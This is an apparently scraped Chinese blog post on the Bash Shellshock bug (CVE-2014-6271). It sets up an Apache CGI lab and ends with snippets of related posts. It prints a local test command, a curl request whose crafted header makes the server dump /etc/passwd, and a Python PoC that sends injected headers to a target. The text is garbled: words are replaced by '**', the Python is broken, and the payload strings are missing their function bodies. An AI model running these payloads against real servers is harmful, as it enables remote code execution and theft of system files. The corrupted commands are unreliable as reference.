bash破殼漏洞分析(一)

2021-07-26 23:48:52 字數 2904 閱讀 8602

bash版本小於等於4.3版本。

主要作業系統版本有:

進行檢視bash版本,如圖所示為version 4.2.24含有bash破殼漏洞。

1.安裝完成ubuntu虛擬機器後通過命令ctrl+alt+t開啟terminal視窗輸入命令sudo apt-get install apache2進行apache伺服器安裝,安裝完成後在瀏覽器中輸入**localhost檢視是否為apache it works的展示頁面。

2.安裝完成後可能輸入命令sudo service apache2 restart會出現重啟apache服務時有報錯,其主要原因是apache2.conf檔案中servername ip:port和listen ip:port不一致,即埠不一致。所以在apache2.conf檔案中增加servername localhost:80即可。

1.首先在根目錄下建乙個cgi-bin的目錄即路徑在:/var/www/html/cgi-bin/所有的cgi程式都放在這個cgi-bin的目錄下。

2.開啟/etc/apache2/sites-enabled/000-default檔案。把檔案配置修改為下圖所示:即配置cgi的路徑,其中的/usr/lib/cgi-bin/修改為/var/www/html/cgi-bin/,並新增了addhandler cgi-script cgi。如果options沒有execcgi這項,記得一定要加上。如圖所示:

3.修改/etc/apache2/mods-enable/cgid.load檔案,在mod_cgid.so後面加上addhandler cgi-script .cgi .pl .py .sh這句,然後重啟apache伺服器sudo service apache2 restart如圖所示:

4.修改cgi程式許可權。cgi程式屬性一定要設為可執行(755),而與cgi有關的html檔案的目錄如果要被cgi程式寫入,其許可權一定要設為可寫(666)。命令為sudo chmod 755 test.cgi

輸入命令進入cgi-bin目錄cd /var/www/html/cgi-bin,修改test.cgi檔案sudo gedit test.cgi新增**:

#!/bin/bash

echo "content-type: text/html"

echo ""

具體**如圖所示:

在shell中執行命令:

env x='() ; echo vulnerable cve-2014-6271 ' bash -c "echo test"執行命令後,如果顯示 vulnerable cve-2014-6271,證明系統存在漏洞,可改變echo vulnerable cve-2014-6271為任意命令進行執行。執行結果如圖:

在另一台虛擬機器命令列中輸入命令:

curl -h 'x: () ;a=/bin/cat /etc/passwd;echo $a』 『 -i;

執行結果如圖:

網上以及自己寫的python poc檔案的主要思想就是構造乙個含有攻擊的request請求頭,然後向含有漏洞的靶場位址傳送該請求,根據構造的不同的惡意**執**況去判斷攻擊是否成功,從而判斷該系統是否存在bash遠端**執行漏洞。具體**為如下

#coding=utf-8

import urllib, urllib2

import cookielib, socket

import cgi, re, os

defget_request

(url):

socket.setdefaulttimeout(5)

"customheader": "() ;echo; echo shellshock one;",

"customheadernew": "() >shellshockme[$($())] ",

}try:

req = urllib2.request(url, headers=i_headers)

response = urllib2.urlopen(req)

print response.info()

html = response.read()

print html

except:

print

"error on request"

if __name__ == '__main__':

url = ""

get_request(url)

bash破殼漏洞分析(二)

bash gnu bourne again shell 是許多linux發行版的預設shell。目前的bash使用的環境變數是通過函式名稱來呼叫的,導致漏洞出問題是以 echo echo shellshock one customheadernew shellshockme connection c...

「破殼」 Shellshock 漏洞修復

背景 距離 破殼 shellshock 漏洞漏洞爆發一句過去兩周有餘了 2014年9月24日公布 相信很多人都已經聽說過了這個危害等級為十的漏洞,編號為cve 2014 6271,該漏洞將導致遠端攻擊者在受影響的系統上執行任意 相比之下,與上乙個著名的漏洞 心臟出血 只有五,不過奇怪的是,破殼 漏洞...

Bash漏洞分析溯源

漏洞編號 cve 2014 6271 漏洞名稱 linux bash遠端可執行漏洞 漏洞影響範圍 所有安裝gnu bash 版本小於或者等於4.3的linux作業系統 漏洞檢測 使用以下命令檢測是否存在此漏洞 env x echo vulnerable bash c echo this is a t...